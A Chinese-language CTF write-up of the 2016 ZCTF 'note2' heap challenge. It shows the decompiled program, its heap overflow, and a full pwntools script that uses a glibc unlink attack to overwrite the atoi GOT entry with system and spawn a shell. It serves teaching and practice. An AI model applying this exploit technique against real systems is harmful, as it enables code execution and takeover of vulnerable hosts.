Unlink——2016 ZCTF note2解析
简介
Unlink是经典的堆漏洞,刚看到这个漏洞不知道如何实现任意代码执行,所以找了一个CTF题,发现还有一些细节的地方没有讲的很清楚,题目在这里。自己也动手写一遍,体验一下
题目描述
首先,我们先分析一下程序,在checksec中检查文件,发现是64位程序,然后放入IDA中,f5,,得出主程序是这样:
void __fastcall main(__int64 a1, char **a2, char **a3) { setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stderr, 0LL, 2, 0LL); alarm(0x3Cu); puts("Input your name:"); ReadStr((char *)&name, 64LL, 10); puts("Input your address:"); ReadStr((char *)&address, 96LL, 10); while ( 1 ) { switch ( selectchoice() ) { case 1: NewNote(); break; case 2: ShowNote(); break; case 3: EditNote(); break; case 4: DeleteNote(); break; case 5: puts("Bye~"); exit(0); return; case 6: exit(0); return; default: continue; } } }
主程序是一个while循环,在selectchoice中输出一个菜单,然后读取一个输入判断
int selectchoice() { puts("1.New note\n2.Show note\n3.Edit note\n4.Delete note\n5.Quit\noption--->>"); return inputNum(); }
int inputNum() { char nptr; // [rsp+0h] [rbp-20h] unsigned __int64 v2; // [rsp+18h] [rbp-8h] v2 = __readfsqword(0x28u); ReadStr(&nptr, 16LL, 10); return atoi(&nptr); }
下面是4个主要功能,添加 note,size 限制为 0x80,size 会被记录,note 指针会被记录。
int NewNote() { char *note; // ST08_8 unsigned int v2; // eax unsigned int size; // [rsp+4h] [rbp-Ch] if ( (unsigned int)NoteNum > 3 ) return puts("note lists are full"); puts("Input the length of the note content:(less than 128)"); size = inputNum(); if ( size > 128 ) return puts("Too long"); note = (char *)malloc(size); puts("Input the note content:"); ReadStr(note, size, '\n'); RemovePercent(note); ptr[NoteNum] = (__int64)note; Len[NoteNum] = size; v2 = NoteNum++; return printf("note add success, the id is %d\n", v2); }
溢出点代码
unsigned __int64 __fastcall sub_4009BD(__int64 a1, __int64 a2, char a3) { char v4; // [rsp+Ch] [rbp-34h] char buf; // [rsp+2Fh] [rbp-11h] unsigned __int64 i; // [rsp+30h] [rbp-10h] ssize_t v7; // [rsp+38h] [rbp-8h] v4 = a3; for ( i = 0LL; a2 - 1 > i; ++i ) { v7 = read(0, &buf, 1uLL); if ( v7 <= 0 ) exit(-1); if ( buf == v4 ) break; *(_BYTE *)(i + a1) = buf; } *(_BYTE *)(a1 + i) = 0; return i; }
展示 note 内容。
int ShowNote() { __int64 v0; // rax int v2; // [rsp+Ch] [rbp-4h] puts("Input the id of the note:"); LODWORD(v0) = inputNum(); v2 = v0; if ( (signed int)v0 >= 0 && (signed int)v0 <= 3 ) { v0 = ptr[(signed int)v0]; if ( v0 ) LODWORD(v0) = printf("Content is %s\n", ptr[v2]); } return v0; }
编辑 note 内容,其中包括覆盖已有的 note,在已有的 note 后面添加内容。
unsigned __int64 EditNote() { char *v0; // rax char *v1; // rbx int v3; // [rsp+8h] [rbp-E8h] int v4; // [rsp+Ch] [rbp-E4h] char *src; // [rsp+10h] [rbp-E0h] __int64 v6; // [rsp+18h] [rbp-D8h] char dest; // [rsp+20h] [rbp-D0h] char *v8; // [rsp+A0h] [rbp-50h] unsigned __int64 v9; // [rsp+D8h] [rbp-18h] v9 = __readfsqword(0x28u); if ( NoteNum ) { puts("Input the id of the note:"); v3 = inputNum(); if ( v3 >= 0 && v3 <= 3 ) { src = (char *)ptr[v3]; v6 = Len[v3]; if ( src ) { puts("do you want to overwrite or append?[1.overwrite/2.append]"); v4 = inputNum(); if ( v4 == 1 || v4 == 2 ) { if ( v4 == 1 ) dest = 0; else strcpy(&dest, src); v0 = (char *)malloc(0xA0uLL); v8 = v0; *(_QWORD *)v0 = 'oCweNehT'; *((_QWORD *)v0 + 1) = ':stnetn'; printf(v8); ReadStr(v8 + 15, 144LL, 10); RemovePercent(v8 + 15); v1 = v8; v1[v6 - strlen(&dest) + 14] = 0; strncat(&dest, v8 + 15, 0xFFFFFFFFFFFFFFFFLL); strcpy(src, &dest); free(v8); puts("Edit note success!"); } else { puts("Error choice!"); } } else { puts("note has been deleted"); } } } else { puts("Please add a note!"); } return __readfsqword(0x28u) ^ v9; }
释放 note。
int DeleteNote() { __int64 v0; // rax int v2; // [rsp+Ch] [rbp-4h] puts("Input the id of the note:"); LODWORD(v0) = inputNum(); v2 = v0; if ( (signed int)v0 >= 0 && (signed int)v0 <= 3 ) { v0 = ptr[(signed int)v0]; if ( v0 ) { free((void *)ptr[v2]); ptr[v2] = 0LL; Len[v2] = 0LL; LODWORD(v0) = puts("delete note success!"); } } return v0; }
题目解答
仔细分析后,可以发现程序有以下几个问题
- 在添加 note 时,程序会记录 note 对应的大小,该大小会用于控制读取 note 的内容,但是读取的循环变量 i 是无符号变量,执行size-1>i时,如果size=0,则会永远成立。所以比较时都会转换为无符号变量,那么当我们输入 size 为 0 时,glibc 根据其规定,会分配 0x20 个字节,但是程序读取的内容却并不受到限制,故而会产生堆溢出。
- 程序在每次编辑 note 时,都会申请 0xa0 大小的内存,但是在 free 之后并没有设置为 NULL。
- 在上述程序中有一个全局变量ptr,用来记录每次分配的内存地址,在.bss段中,地址为0x0000000000602120。
其中这三个 chunk 申请时的大小分别为 0x80,0,0x80,chunk1 虽然申请的大小为 0,但是 glibc 的要求 chunk 块至少可以存储 4 个必要的字段 (prev_size,size,fd,bk),所以会分配 0x20 的空间。同时,由于无符号整数的比较问题,可以为该 note 输入任意长的字符串。
这里需要注意的是,chunk0 中一共构造了两个 chunk
- chunk ptr[0],这个是为了 unlink 时修改对应的值。
- chunk ptr[0]'s nextchunk,这个是为了使得 unlink 时的第一个检查满足。
利用代码:
# coding=UTF-8 from pwn import * p = process('./note2') note2 = ELF('./note2') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') context.log_level = 'debug' def newnote(length, content): p.recvuntil('option--->>') p.sendline('1') p.recvuntil('(less than 128)') p.sendline(str(length)) p.recvuntil('content:') p.sendline(content) def shownote(id): p.recvuntil('option--->>') p.sendline('2') p.recvuntil('note:') p.sendline(str(id)) def editnote(id, choice, s): p.recvuntil('option--->>') p.sendline('3') p.recvuntil('note:') p.sendline(str(id)) p.recvuntil('2.append]') p.sendline(str(choice)) p.sendline(s) def deletenote(id): p.recvuntil('option--->>') p.sendline('4') p.recvuntil('note:') p.sendline(str(id)) p.recvuntil('name:') p.sendline('hello') p.recvuntil('address:') p.sendline('hello') # chunk0: a fake chunk ptr = 0x0000000000602120 fakefd = ptr - 0x18 fakebk = ptr - 0x10 content = 'a' * 8 + p64(0x61) + p64(fakefd) + p64(fakebk) + 'b' * 64 + p64(0x60) #content = p64(fakefd) + p64(fakebk) newnote(128, content) # chunk1: a zero size chunk produce overwrite newnote(0, 'a' * 8) # chunk2: a chunk to be overwrited and freed newnote(0x80, 'b' * 16) # edit the chunk1 to overwrite the chunk2 deletenote(1) content = 'a' * 16 + p64(0xa0) + p64(0x90) newnote(0, content) #gdb.attach(p) # delete note 2 to trigger the unlink # after unlink, ptr[0] = ptr - 0x18 gdb.attach(p) p.interactive() deletenote(2) # overwrite the chunk0(which is ptr[0]) with got atoi atoi_got = note2.got['atoi'] content = 'a' * 0x18 + p64(atoi_got) editnote(0, 1, content) # get the aoti addr shownote(0) p.recvuntil('is ') atoi_addr = p.recvuntil('\n', drop=True) print atoi_addr atoi_addr = u64(atoi_addr.ljust(8, '\x00')) print 'leak atoi addr: ' + hex(atoi_addr) # get system addr atoi_offest = libc.symbols['atoi'] libcbase = atoi_addr - atoi_offest system_offest = libc.symbols['system'] system_addr = libcbase + system_offest print 'leak system addr: ', hex(system_addr) # overwrite the atoi got with systemaddr content = p64(system_addr) editnote(0, 1, content) # get shell p.recvuntil('option--->>') p.sendline('/bin/sh') p.interactive()
代码中首先分配了三个note,当构造完三个 note 后,堆的基本构造如图 1 所示。
+-----------------+ high addr | ... | +-----------------+ | 'b'*8 | ptr[2]-----------> +-----------------+ | size=0x91 | +-----------------+ | prevsize | +-----------------|------------ | unused | +-----------------+ | 'a'*8 | ptr[1]----------> +-----------------+ chunk 1 | size=0x20 | +-----------------+ | prevsize | +-----------------|------------- | unused | +-----------------+ | prev_size=0x60 | fake ptr[0] chunk's nextchunk----->+-----------------+ | 64*'a' | +-----------------+ | fakebk | +-----------------+ | fakefd | +-----------------+ | 0x61 | chunk 0 +-----------------+ | 'a *8 | ptr[0]----------> +-----------------+ | size=0x91 | +-----------------+ | prev_size | +-----------------+ low addr 图1
释放 chunk1 - 覆盖 chunk2 - 释放 chunk2
对应的代码如下
# edit the chunk1 to overwrite the chunk2
deletenote(1)
content = 'a' * 16 + p64(0xa0) + p64(0x90)
newnote(0, content)
# delete note 2 to trigger the unlink
# after unlink, ptr[0] = ptr - 0x18
deletenote(2)
首先释放 chunk1,由于该 chunk 属于 fastbin,所以下次在申请的时候仍然会申请到该 chunk,同时由于上面所说的类型问题,我们可以读取任意字符,所以就可以覆盖 chunk2,覆盖之后如图 2 所示。
+-----------------+high addr | ... | +-----------------+ | '\x00'+'b'*7 | ptr[2]-----------> +-----------------+ chunk 2 coverValue1 | size=0x90 | +-----------------+ coverValue2 | 0xa0 | +-----------------|------------ | 'a'*8 | +-----------------+ | 'a'*8 | ptr[1]----------> +-----------------+ chunk 1 | size=0x20 | +-----------------+ | prevsize | +-----------------|------------- | unused | +-----------------+ | prev_size=0x60 | fake ptr[0] chunk's nextchunk----->+-----------------+ | 64*'a' | +-----------------+ | fakebk | +-----------------+ | fakefd | fake chunk---> +-----------------+ | 0x61 | chunk 0 +-----------------+ | 'a *8 | ptr[0]----------> +-----------------+ | size=0x91 | +-----------------+ | prev_size | +-----------------+ low addr 图2
和图1相比,经历了chuck1的分配和释放,造成了两个值的变更,就是图2中的coverValue1和coverValue12,coverValue1导致chunk2的前一个虚拟地址空间连续块由以及分配变为空闲,所以在释放chunk2的时候,会造成合并。
而合并操作进行时,会根据coverValue2来确定前一个块的大小,coverValue2使前一个块变为伪造的chunk,就是图2中fake chunk处,fakefd和fakebk则是伪造的,必须保证unlink的检测条件,fakefd = ptr - 0x18,fakebk = ptr - 0x10
图2中的fake ptr[0] chunk's nextchunk是根据fake chunk的size来确定的,也就是0x60,第二个条件要绕过去就需要构造第二个chunk,在fake chunk位置0x60之后的位置放置一个pre_size为0x60的chunk
在unlink之后,ptr被修改为ptr-0x18,注意,ptr的值就是在查看源码时发现的,存放第一个note的位置,在向note写入3个字节后,ptr的值又会被覆盖一次,所以可以使用一个像note的写入操作达到控制ptr为任意值。然后利用note的写操作更改GOT
在选择覆盖函数的GOT时,选择atoi,因为在switch语句之前会读入一个选择,用到atoi函数,并且程序没有用到system函数,所以必须计算两个函数的偏移才能得出system的libc库位置,最后覆盖也选用这个函数